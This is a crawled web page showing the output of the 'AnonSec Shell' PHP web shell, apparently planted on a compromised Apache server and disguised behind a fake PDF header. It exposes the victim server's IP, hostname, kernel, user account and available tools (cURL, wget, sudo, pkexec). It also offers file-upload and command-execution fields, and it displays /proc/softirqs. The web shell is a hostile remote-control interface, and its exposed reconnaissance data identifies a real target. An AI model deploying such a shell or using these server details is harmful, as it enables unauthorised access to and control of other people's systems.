%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.217.36
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
          HI:          0          0          0          0          0          1         14          2
       TIMER:  105650295   81021889   89106270  287099493  161754195  158352443   88817055   86056668
      NET_TX:     270026     300594     288734     752844     224618     341579     306413     286926
      NET_RX:  139560444   78308987   70785742   83427753   48292400   92235588   78856748   74712678
       BLOCK:   16071908    8864875   85192384   10206960  131564452    2656556   26587887   80866010
    IRQ_POLL:          0          0          0          0          0          0          0          0
     TASKLET:    9716900   10980327    9937687   12886903    7144981   13163396   11624441   10825665
       SCHED:  465748103  282115824  252787320  324024088  246708158  257738050  222541473  214031930
     HRTIMER:       3712       3756       3503       5278       2282       4524       3632       4405
         RCU:  968345649  864571282  811831337  798245623  794221043  785265947  772318162  795901912

Anon7 - 2022
AnonSec Team